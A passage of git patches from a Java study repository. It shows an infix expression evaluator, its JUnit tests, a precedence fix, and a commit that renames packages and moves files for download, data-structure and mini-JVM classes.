+				float one= Float.parseFloat((String) numStack.pop()) ;
+				float two= Float.parseFloat((String) numStack.pop());
+				String opo=(String) opoStack.pop();
+				if("-".equals(opo)){
+					result=two-one;
+				}
+				else if("+".equals(opo)){
+					result=one+two;
+				}
+				else if("/".equals(opo)){
+					result=two/one;
+				}
+				else {
+					result=two*one;
+				}
+				numStack.push(result+"");
+			}
+		}
+		Stack revOpo=new Stack();
+		Stack revNum=new Stack();
+		
+		while(!opoStack.isEmpty()){
+			revOpo.push(opoStack.pop());
+		}
+		while(!numStack.isEmpty()){
+			revNum.push(numStack.pop());
+		}
+		while(!revOpo.isEmpty()){
+			float one= Float.parseFloat((String) revNum.pop()) ;
+			float two= Float.parseFloat((String) revNum.pop());
+			String opo=(String) revOpo.pop();
+			if("-".equals(opo)){
+				result=one-two;
+			}
+			else if("+".equals(opo)){
+				result=one+two;
+			}
+			else if("/".equals(opo)){
+				result=one/two;
+			}
+			else {
+				result=two*one;
+			}
+			revNum.push(result+"");
+		}
+		return Float.parseFloat((String) revNum.pop());
+	}
+	//2+3*4+5 5-2-2+3-->  5+3-2  75/3/5*5 15*5/3
+	private int opoPush(Stack opoStack,Stack numStack,Object opo){
+		int num=0;//记录减号的最深位置
+		if("+".equals(opo)){
+			if(!opoStack.isEmpty()){
+				if("*".equals(opoStack.peek())||"/".equals(opoStack.peek())){
+					float one= Float.parseFloat((String) numStack.pop()) ;
+					float two= Float.parseFloat((String) numStack.pop());
+					float result;
+					if("*".equals(opoStack.peek())){
+						opoStack.pop();
+						result=two*one;
+					}
+					else{
+						result=two/one;
+					}
+					numStack.push(result+"");
+				}
+			}
+//			Stack temp=new Stack();
+//			boolean flag=false; //记录是否转移位置
+//			while(!opoStack.isEmpty()){
+//				temp.push(opoStack.pop());
+//			}
+//			int i=0;
+//			while(!temp.isEmpty()){
+//				String top= (String) temp.pop();
+//				if("-".equals(top)&&!flag){
+//					num=i+1;
+//					opoStack.push("+");
+//					flag=true;
+//				}
+//				opoStack.push(top);
+//				i++;
+//			}
+//			if(!flag){
+//				opoStack.push("+");
+//			}
+			opoStack.push("+");
+		}
+		else if("-".equals(opo)){
+			if(!opoStack.isEmpty()){
+				if("*".equals(opoStack.peek())||"/".equals(opoStack.peek())){
+					float one= Float.parseFloat((String) numStack.pop()) ;
+					float two= Float.parseFloat((String) numStack.pop());
+					float result;
+					if("*".equals(opoStack.peek())){
+						opoStack.pop();
+						result=one*two;
+					}
+					else{
+						result=one/two;
+					}
+					numStack.push(result+"");
+				}
+			}
+			opoStack.push("-");
+		}
+		else if("*".equals(opo)){
+//			Stack temp=new Stack();
+//			boolean flag=false; //记录是否转移位置
+//			while(!opoStack.isEmpty()){
+//				temp.push(opoStack.pop());
+//			}
+//			int i=0;
+//			while(!temp.isEmpty()){
+//				String top=(String) temp.pop();
+//				if("/".equals(top)&&!flag){
+//					num=i+1;
+//					opoStack.push("*");
+//					flag=true;
+//				}
+//				opoStack.push(top);
+//				i++;
+//			}
+//			if(!flag){
+//				opoStack.push("*");
+//			}	
+			opoStack.push("*");
+		}
+		else if("/".equals(opo)){
+			opoStack.push("/");
+		}
+		return num;
+	}
+	
+	
+}
diff --git a/group04/844028312/one/src/com/coding/basic/stack/expr/InfixExprTest.java b/group04/844028312/one/src/com/coding/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..25a26547e9
--- /dev/null
+++ b/group04/844028312/one/src/com/coding/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,60 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("5-2+3");
+			Assert.assertEquals(6.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2"); 
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2"); 
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr(" 5-2-2+3");//5+3-2-2
+			Assert.assertEquals(4, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("75/3/5*5"); //75*5/3/5  0.6
+			Assert.assertEquals(25.0, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}

From ade5c10ad39fe4e397fb35fc558c5fc9aeff6181 Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Wed, 19 Apr 2017 22:32:05 +0800
Subject: [PATCH 097/262] =?UTF-8?q?=E4=B8=AD=E7=BC=80=E8=A1=A8=E8=BE=BE?=
 =?UTF-8?q?=E5=BC=8F=E4=BB=A3=E7=A0=81=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coding2017/basic/stack/expr/InfixExpr.java           | 8 +++++++-
 .../coding2017/basic/stack/expr/InfixExprTest.java       | 9 ++++++++-
 .../coding2017/coderising/jvm/field/Field.java           | 3 ---
 3 files changed, 15 insertions(+), 5 deletions(-)

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExpr.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExpr.java
index 92727ce984..69d1b41a0e 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExpr.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExpr.java
@@ -1,5 +1,6 @@
 package com.github.miniyk2012.coding2017.basic.stack.expr;
 
+import java.util.EmptyStackException;
 import java.util.LinkedList;
 import java.util.List;
 import java.util.Stack;
@@ -61,11 +62,16 @@ public float evaluate() {
                     operatorStack.push(t);
                 } else {
                     Token<Operator> preT = operatorStack.peek();
-                    if ((preT.value).priority >= ((Operator)t.value).priority) {
+                    while (preT.value.priority >= ((Operator)t.value).priority) {
                         Token number2 = numberStack.pop();
                         Token number1 = numberStack.pop();
                         operatorStack.pop();
                         numberStack.push(evaluate(preT, number1, number2));
+                        try {
+                            preT = operatorStack.peek();
+                        } catch (EmptyStackException e) {
+                            break;
+                        }
                     }
                     operatorStack.push(t);
 
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExprTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExprTest.java
index a14953535d..5906221e79 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExprTest.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExprTest.java
@@ -19,6 +19,10 @@ public void tearDown() throws Exception {
 	@Test
 	public void testEvaluate() {
 		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2");
+			Assert.assertEquals(2.0, expr.evaluate(), 0.001f);
+		}
 		{
 			InfixExpr expr = new InfixExpr("2+3");
 			Assert.assertEquals(5.0, expr.evaluate(), 0.001f);
@@ -50,7 +54,10 @@ public void testEvaluate() {
 			InfixExpr expr = new InfixExpr("10-30+50-20/10/2*4");
 			Assert.assertEquals(26, expr.evaluate(), 0.001f);
 		}
-		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50-20/1+10");
+			Assert.assertEquals(20, expr.evaluate(), 0.001f);
+		}
 	}
 
 }
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/field/Field.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/field/Field.java
index 54d0854ba7..d89b31c87c 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/field/Field.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/field/Field.java
@@ -9,9 +9,6 @@ public class Field {
 	private int accessFlag;
 	private int nameIndex;
 	private int descriptorIndex;
-	
-	
-	
 	private ConstantPool pool;
 	
 	public Field(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool pool) {

From 0f5abc77dcb1f291c6f19f942a681956007c0483 Mon Sep 17 00:00:00 2001
From: "songbao.yang" <songbao.yang@qunarservers.com>
Date: Wed, 19 Apr 2017 22:53:35 +0800
Subject: [PATCH 098/262] =?UTF-8?q?jvm=20task2=20=E8=AF=BB=E5=8F=96?=
 =?UTF-8?q?=E5=B8=B8=E9=87=8F=E6=B1=A0+StackUtil?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coderising/download/DownloadThread.java   |   6 +-
 .../download/DownloadThreadTest.java          |   9 +-
 .../coderising/download/FileDownloader.java   |  10 +-
 .../download/FileDownloaderTest.java          |   8 +-
 .../coderising/download/api/Connection.java   |   2 +-
 .../download/api/ConnectionException.java     |   2 +-
 .../download/api/ConnectionManager.java       |   2 +-
 .../download/api/DownloadListener.java        |   2 +-
 .../download/impl/ConnectionImpl.java         |   4 +-
 .../download/impl/ConnectionImplTest.java     |   5 +-
 .../download/impl/ConnectionManagerImpl.java  |   8 +-
 .../com/coderising/litestruts/Action.java     |   2 +-
 .../coderising/litestruts/Configuration.java  |   2 +-
 .../coderising/litestruts/LoginAction.java    |   2 +-
 .../coderising/litestruts/ReflectUtils.java   |   2 +-
 .../com/coderising/litestruts/Struts.java     |   4 +-
 .../com/coderising/litestruts/StrutsTest.java |   2 +-
 .../src}/com/coderising/litestruts/View.java  |   2 +-
 .../src}/com/coding/basic/BinaryTreeNode.java |   2 +-
 .../com/coding/basic/BinaryTreeNodeTest.java  |   2 +-
 .../src}/com/coding/basic/Iterator.java       |   2 +-
 .../src}/com/coding/basic/List.java           |   2 +-
 .../src}/com/coding/basic/ListTest.java       |   3 +-
 .../src}/com/coding/basic/Queue.java          |   2 +-
 .../src}/com/coding/basic/QueueTest.java      |   2 +-
 .../com/coding/basic/array}/ArrayList.java    |   5 +-
 .../com/coding/basic}/array/ArrayUtil.java    |   2 +-
 .../coding/basic}/array/ArrayUtilTest.java    |   8 +-
 .../coding/basic/linklist/LRUPageFrame.java   |   2 +-
 .../basic/linklist/LRUPageFrameTest.java      |   2 +-
 .../coding/basic/linklist}/LinkedList.java    |   5 +-
 .../src/com/coding/basic/stack/Stack.java     |  77 ++++++++
 .../com/coding/basic/stack}/StackTest.java    |  13 +-
 .../src/com/coding/basic/stack/StackUtil.java |  94 +++++++++
 .../com/coding/basic/stack/StackUtilTest.java |  61 ++++++
 .../com/coderising/jvm/clz/AccessFlag.java    |  28 +++
 .../src/com/coderising/jvm/clz/ClassFile.java |  75 ++++++++
 .../com/coderising/jvm/clz/ClassIndex.java    |  27 +++
 .../coderising/jvm/constant/ClassInfo.java    |  24 +++
 .../coderising/jvm/constant/ConstantInfo.java |  40 ++++
 .../coderising/jvm/constant/ConstantPool.java |  29 +++
 .../coderising/jvm/constant/FieldRefInfo.java |  54 ++++++
 .../jvm/constant/MethodRefInfo.java           |  55 ++++++
 .../jvm/constant/NameAndTypeInfo.java         |  45 +++++
 .../jvm/constant/NullConstantInfo.java        |  13 ++
 .../coderising/jvm/constant/StringInfo.java   |  26 +++
 .../com/coderising/jvm/constant/UTF8Info.java |  37 ++++
 .../jvm/loader/ByteCodeIterator.java          |  56 ++++++
 .../jvm/loader/ClassFileLoader.java           |  88 +++++++++
 .../jvm/loader/ClassFileParser.java           | 106 ++++++++++
 .../jvm/parser/ClassInfoParser.java           |  22 +++
 .../jvm/parser/ConstantInfoParser.java        |  14 ++
 .../jvm/parser/DoubleInfoParser.java          |  15 ++
 .../jvm/parser/FieldRefInfoParser.java        |  21 ++
 .../jvm/parser/FloatInfoParser.java           |  16 ++
 .../jvm/parser/IntegerInfoParser.java         |  16 ++
 .../parser/InterfaceMethodrefInfoParser.java  |  16 ++
 .../jvm/parser/InvokeDynamicInfoParser.java   |  16 ++
 .../coderising/jvm/parser/LongInfoParser.java |  15 ++
 .../jvm/parser/MethodHandleInfoParser.java    |  15 ++
 .../jvm/parser/MethodRefInfoParser.java       |  22 +++
 .../jvm/parser/MethodTypeInfoParser.java      |  15 ++
 .../jvm/parser/NameAndTypeInfoParser.java     |  21 ++
 .../jvm/parser/StringInfoParser.java          |  20 ++
 .../coderising/jvm/parser/UTF8InfoParser.java |  34 ++++
 .../jvm/test/ClassFileloaderTest.java         | 181 ++++++++++++++++++
 .../com/coderising/jvm/test}/EmployeeV1.java  |  20 +-
 .../src/com/coderising/jvm/util/Util.java     |  24 +++
 .../dataStruct/com/coding/basic/Stack.java    |  63 ------
 .../jvm/loader/ClassFileLoader.java           |  68 -------
 .../578505552/src/main/resources/struts.xml   |  12 --
 group05/578505552/src/test/java/JavaTest.java |  25 ---
 .../jvm/loader/ClassFileloaderTest.java       |  70 -------
 73 files changed, 1502 insertions(+), 300 deletions(-)
 rename group05/578505552/{src/main/java/dataStruct => dataStruct/src}/com/coderising/download/DownloadThread.java (88%)
 rename group05/578505552/{src/test/java/dataStruct => dataStruct/src}/com/coderising/download/DownloadThreadTest.java (80%)
 rename group05/578505552/{src/main/java/dataStruct => dataStruct/src}/com/coderising/download/FileDownloader.java (82%)
 rename group05/578505552/{src/test/java/dataStruct => dataStruct/src}/com/coderising/download/FileDownloaderTest.java (81%)
 rename group05/578505552/{src/main/java/dataStruct => dataStruct/src}/com/coderising/download/api/Connection.java (90%)
 rename group05/578505552/{src/main/java/dataStruct => dataStruct/src}/com/coderising/download/api/ConnectionException.java (88%)
 rename group05/578505552/{src/main/java/dataStruct => dataStruct/src}/com/coderising/download/api/ConnectionManager.java (79%)
 rename group05/578505552/{src/main/java/dataStruct => dataStruct/src}/com/coderising/download/api/DownloadListener.java (59%)
 rename group05/578505552/{src/main/java/dataStruct => dataStruct/src}/com/coderising/download/impl/ConnectionImpl.java (89%)
 rename group05/578505552/{src/test/java/dataStruct => dataStruct/src}/com/coderising/download/impl/ConnectionImplTest.java (85%)
 rename group05/578505552/{src/main/java/dataStruct => dataStruct/src}/com/coderising/download/impl/ConnectionManagerImpl.java (69%)
 rename group05/578505552/{src/main/java/dataStruct => dataStruct/src}/com/coderising/litestruts/Action.java (93%)
 rename group05/578505552/{src/main/java/dataStruct => dataStruct/src}/com/coderising/litestruts/Configuration.java (63%)
 rename group05/578505552/{src/main/java/dataStruct => dataStruct/src}/com/coderising/litestruts/LoginAction.java (94%)
 rename group05/578505552/{src/main/java/dataStruct => dataStruct/src}/com/coderising/litestruts/ReflectUtils.java (81%)
 rename group05/578505552/{src/main/java/dataStruct => dataStruct/src}/com/coderising/litestruts/Struts.java (97%)
 rename group05/578505552/{src/test/java/dataStruct => dataStruct/src}/com/coderising/litestruts/StrutsTest.java (96%)
 rename group05/578505552/{src/main/java/dataStruct => dataStruct/src}/com/coderising/litestruts/View.java (88%)
 rename group05/578505552/{src/main/java/dataStruct => dataStruct/src}/com/coding/basic/BinaryTreeNode.java (97%)
 rename group05/578505552/{src/test/java/dataStruct => dataStruct/src}/com/coding/basic/BinaryTreeNodeTest.java (94%)
 rename group05/578505552/{src/main/java/dataStruct => dataStruct/src}/com/coding/basic/Iterator.java (78%)
 rename group05/578505552/{src/main/java/dataStruct => dataStruct/src}/com/coding/basic/List.java (86%)
 rename group05/578505552/{src/test/java/dataStruct => dataStruct/src}/com/coding/basic/ListTest.java (96%)
 rename group05/578505552/{src/main/java/dataStruct => dataStruct/src}/com/coding/basic/Queue.java (98%)
 rename group05/578505552/{src/test/java/dataStruct => dataStruct/src}/com/coding/basic/QueueTest.java (97%)
 rename group05/578505552/{src/main/java/dataStruct/com/coding/basic => dataStruct/src/com/coding/basic/array}/ArrayList.java (96%)
 rename group05/578505552/{src/main/java/dataStruct/com/coderising => dataStruct/src/com/coding/basic}/array/ArrayUtil.java (99%)
 rename group05/578505552/{src/test/java/dataStruct/com/coderising => dataStruct/src/com/coding/basic}/array/ArrayUtilTest.java (97%)
 rename group05/578505552/{src/main/java/dataStruct => dataStruct/src}/com/coding/basic/linklist/LRUPageFrame.java (97%)
 rename group05/578505552/{src/test/java/dataStruct => dataStruct/src}/com/coding/basic/linklist/LRUPageFrameTest.java (94%)
 rename group05/578505552/{src/main/java/dataStruct/com/coding/basic => dataStruct/src/com/coding/basic/linklist}/LinkedList.java (99%)
 create mode 100644 group05/578505552/dataStruct/src/com/coding/basic/stack/Stack.java
 rename group05/578505552/{src/test/java/dataStruct/com/coding/basic => dataStruct/src/com/coding/basic/stack}/StackTest.java (85%)
 create mode 100644 group05/578505552/dataStruct/src/com/coding/basic/stack/StackUtil.java
 create mode 100644 group05/578505552/dataStruct/src/com/coding/basic/stack/StackUtilTest.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/clz/AccessFlag.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/clz/ClassFile.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/clz/ClassIndex.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/constant/ClassInfo.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/constant/ConstantInfo.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/constant/ConstantPool.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/constant/FieldRefInfo.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/constant/MethodRefInfo.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/constant/NullConstantInfo.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/constant/StringInfo.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/constant/UTF8Info.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/loader/ClassFileLoader.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/loader/ClassFileParser.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/parser/ClassInfoParser.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/parser/ConstantInfoParser.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/parser/DoubleInfoParser.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/parser/FieldRefInfoParser.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/parser/FloatInfoParser.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/parser/IntegerInfoParser.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/parser/InterfaceMethodrefInfoParser.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/parser/InvokeDynamicInfoParser.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/parser/LongInfoParser.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/parser/MethodHandleInfoParser.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/parser/MethodRefInfoParser.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/parser/MethodTypeInfoParser.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/parser/NameAndTypeInfoParser.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/parser/StringInfoParser.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/parser/UTF8InfoParser.java
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
 rename group05/578505552/{src/main/java/miniJvm/com/coderising/jvm/loader => miniJvm/src/com/coderising/jvm/test}/EmployeeV1.java (73%)
 create mode 100644 group05/578505552/miniJvm/src/com/coderising/jvm/util/Util.java
 delete mode 100644 group05/578505552/src/main/java/dataStruct/com/coding/basic/Stack.java
 delete mode 100644 group05/578505552/src/main/java/miniJvm/com/coderising/jvm/loader/ClassFileLoader.java
 delete mode 100644 group05/578505552/src/main/resources/struts.xml
 delete mode 100644 group05/578505552/src/test/java/JavaTest.java
 delete mode 100644 group05/578505552/src/test/java/miniJvm/com/coderising/jvm/loader/ClassFileloaderTest.java

diff --git a/group05/578505552/src/main/java/dataStruct/com/coderising/download/DownloadThread.java b/group05/578505552/dataStruct/src/com/coderising/download/DownloadThread.java
similarity index 88%
rename from group05/578505552/src/main/java/dataStruct/com/coderising/download/DownloadThread.java
rename to group05/578505552/dataStruct/src/com/coderising/download/DownloadThread.java
index c837e08f8b..0e3e0d8a40 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coderising/download/DownloadThread.java
+++ b/group05/578505552/dataStruct/src/com/coderising/download/DownloadThread.java
@@ -1,7 +1,7 @@
-package dataStruct.com.coderising.download;
+package com.coderising.download;
 
-import dataStruct.com.coderising.download.api.Connection;
-import dataStruct.com.coderising.download.api.DownloadListener;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.api.Connection;
 
 import java.io.File;
 import java.io.IOException;
diff --git a/group05/578505552/src/test/java/dataStruct/com/coderising/download/DownloadThreadTest.java b/group05/578505552/dataStruct/src/com/coderising/download/DownloadThreadTest.java
similarity index 80%
rename from group05/578505552/src/test/java/dataStruct/com/coderising/download/DownloadThreadTest.java
rename to group05/578505552/dataStruct/src/com/coderising/download/DownloadThreadTest.java
index dbbb80a91a..4c3116a2c3 100644
--- a/group05/578505552/src/test/java/dataStruct/com/coderising/download/DownloadThreadTest.java
+++ b/group05/578505552/dataStruct/src/com/coderising/download/DownloadThreadTest.java
@@ -1,9 +1,8 @@
-package dataStruct.com.coderising.download;
+package com.coderising.download;
 
-import dataStruct.com.coderising.download.DownloadThread;
-import dataStruct.com.coderising.download.api.Connection;
-import dataStruct.com.coderising.download.api.DownloadListener;
-import dataStruct.com.coderising.download.impl.ConnectionManagerImpl;
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/group05/578505552/src/main/java/dataStruct/com/coderising/download/FileDownloader.java b/group05/578505552/dataStruct/src/com/coderising/download/FileDownloader.java
similarity index 82%
rename from group05/578505552/src/main/java/dataStruct/com/coderising/download/FileDownloader.java
rename to group05/578505552/dataStruct/src/com/coderising/download/FileDownloader.java
index 324ba4d29d..47c8940809 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coderising/download/FileDownloader.java
+++ b/group05/578505552/dataStruct/src/com/coderising/download/FileDownloader.java
@@ -1,9 +1,9 @@
-package dataStruct.com.coderising.download;
+package com.coderising.download;
 
-import dataStruct.com.coderising.download.api.Connection;
-import dataStruct.com.coderising.download.api.ConnectionException;
-import dataStruct.com.coderising.download.api.ConnectionManager;
-import dataStruct.com.coderising.download.api.DownloadListener;
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.api.ConnectionException;
 
 import java.io.File;
 
diff --git a/group05/578505552/src/test/java/dataStruct/com/coderising/download/FileDownloaderTest.java b/group05/578505552/dataStruct/src/com/coderising/download/FileDownloaderTest.java
similarity index 81%
rename from group05/578505552/src/test/java/dataStruct/com/coderising/download/FileDownloaderTest.java
rename to group05/578505552/dataStruct/src/com/coderising/download/FileDownloaderTest.java
index cb5748f4e6..f2eaeed26e 100644
--- a/group05/578505552/src/test/java/dataStruct/com/coderising/download/FileDownloaderTest.java
+++ b/group05/578505552/dataStruct/src/com/coderising/download/FileDownloaderTest.java
@@ -1,8 +1,8 @@
-package dataStruct.com.coderising.download;
+package com.coderising.download;
 
-import dataStruct.com.coderising.download.api.ConnectionManager;
-import dataStruct.com.coderising.download.api.DownloadListener;
-import dataStruct.com.coderising.download.impl.ConnectionManagerImpl;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/group05/578505552/src/main/java/dataStruct/com/coderising/download/api/Connection.java b/group05/578505552/dataStruct/src/com/coderising/download/api/Connection.java
similarity index 90%
rename from group05/578505552/src/main/java/dataStruct/com/coderising/download/api/Connection.java
rename to group05/578505552/dataStruct/src/com/coderising/download/api/Connection.java
index da33f7360c..494c713b27 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coderising/download/api/Connection.java
+++ b/group05/578505552/dataStruct/src/com/coderising/download/api/Connection.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coderising.download.api;
+package com.coderising.download.api;
 
 import java.io.IOException;
 
diff --git a/group05/578505552/src/main/java/dataStruct/com/coderising/download/api/ConnectionException.java b/group05/578505552/dataStruct/src/com/coderising/download/api/ConnectionException.java
similarity index 88%
rename from group05/578505552/src/main/java/dataStruct/com/coderising/download/api/ConnectionException.java
rename to group05/578505552/dataStruct/src/com/coderising/download/api/ConnectionException.java
index 2efc59eec6..5954d22409 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coderising/download/api/ConnectionException.java
+++ b/group05/578505552/dataStruct/src/com/coderising/download/api/ConnectionException.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coderising.download.api;
+package com.coderising.download.api;
 
 public class ConnectionException extends Exception {
 
diff --git a/group05/578505552/src/main/java/dataStruct/com/coderising/download/api/ConnectionManager.java b/group05/578505552/dataStruct/src/com/coderising/download/api/ConnectionManager.java
similarity index 79%
rename from group05/578505552/src/main/java/dataStruct/com/coderising/download/api/ConnectionManager.java
rename to group05/578505552/dataStruct/src/com/coderising/download/api/ConnectionManager.java
index 2ac9aa5ac9..ce045393b1 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coderising/download/api/ConnectionManager.java
+++ b/group05/578505552/dataStruct/src/com/coderising/download/api/ConnectionManager.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coderising.download.api;
+package com.coderising.download.api;
 
 public interface ConnectionManager {
 	/**
diff --git a/group05/578505552/src/main/java/dataStruct/com/coderising/download/api/DownloadListener.java b/group05/578505552/dataStruct/src/com/coderising/download/api/DownloadListener.java
similarity index 59%
rename from group05/578505552/src/main/java/dataStruct/com/coderising/download/api/DownloadListener.java
rename to group05/578505552/dataStruct/src/com/coderising/download/api/DownloadListener.java
index 8daca6846c..bf9807b307 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coderising/download/api/DownloadListener.java
+++ b/group05/578505552/dataStruct/src/com/coderising/download/api/DownloadListener.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coderising.download.api;
+package com.coderising.download.api;
 
 public interface DownloadListener {
 	public void notifyFinished();
diff --git a/group05/578505552/src/main/java/dataStruct/com/coderising/download/impl/ConnectionImpl.java b/group05/578505552/dataStruct/src/com/coderising/download/impl/ConnectionImpl.java
similarity index 89%
rename from group05/578505552/src/main/java/dataStruct/com/coderising/download/impl/ConnectionImpl.java
rename to group05/578505552/dataStruct/src/com/coderising/download/impl/ConnectionImpl.java
index c9b1c7c103..0561318d7a 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coderising/download/impl/ConnectionImpl.java
+++ b/group05/578505552/dataStruct/src/com/coderising/download/impl/ConnectionImpl.java
@@ -1,6 +1,6 @@
-package dataStruct.com.coderising.download.impl;
+package com.coderising.download.impl;
 
-import dataStruct.com.coderising.download.api.Connection;
+import com.coderising.download.api.Connection;
 
 import java.io.IOException;
 import java.io.InputStream;
diff --git a/group05/578505552/src/test/java/dataStruct/com/coderising/download/impl/ConnectionImplTest.java b/group05/578505552/dataStruct/src/com/coderising/download/impl/ConnectionImplTest.java
similarity index 85%
rename from group05/578505552/src/test/java/dataStruct/com/coderising/download/impl/ConnectionImplTest.java
rename to group05/578505552/dataStruct/src/com/coderising/download/impl/ConnectionImplTest.java
index 967b4520a2..36d2205096 100644
--- a/group05/578505552/src/test/java/dataStruct/com/coderising/download/impl/ConnectionImplTest.java
+++ b/group05/578505552/dataStruct/src/com/coderising/download/impl/ConnectionImplTest.java
@@ -1,7 +1,6 @@
-package dataStruct.com.coderising.download.impl;
+package com.coderising.download.impl;
 
-import dataStruct.com.coderising.download.api.Connection;
-import dataStruct.com.coderising.download.impl.ConnectionManagerImpl;
+import com.coderising.download.api.Connection;
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/group05/578505552/src/main/java/dataStruct/com/coderising/download/impl/ConnectionManagerImpl.java b/group05/578505552/dataStruct/src/com/coderising/download/impl/ConnectionManagerImpl.java
similarity index 69%
rename from group05/578505552/src/main/java/dataStruct/com/coderising/download/impl/ConnectionManagerImpl.java
rename to group05/578505552/dataStruct/src/com/coderising/download/impl/ConnectionManagerImpl.java
index e8e5a85aeb..3ea9a95517 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coderising/download/impl/ConnectionManagerImpl.java
+++ b/group05/578505552/dataStruct/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -1,8 +1,8 @@
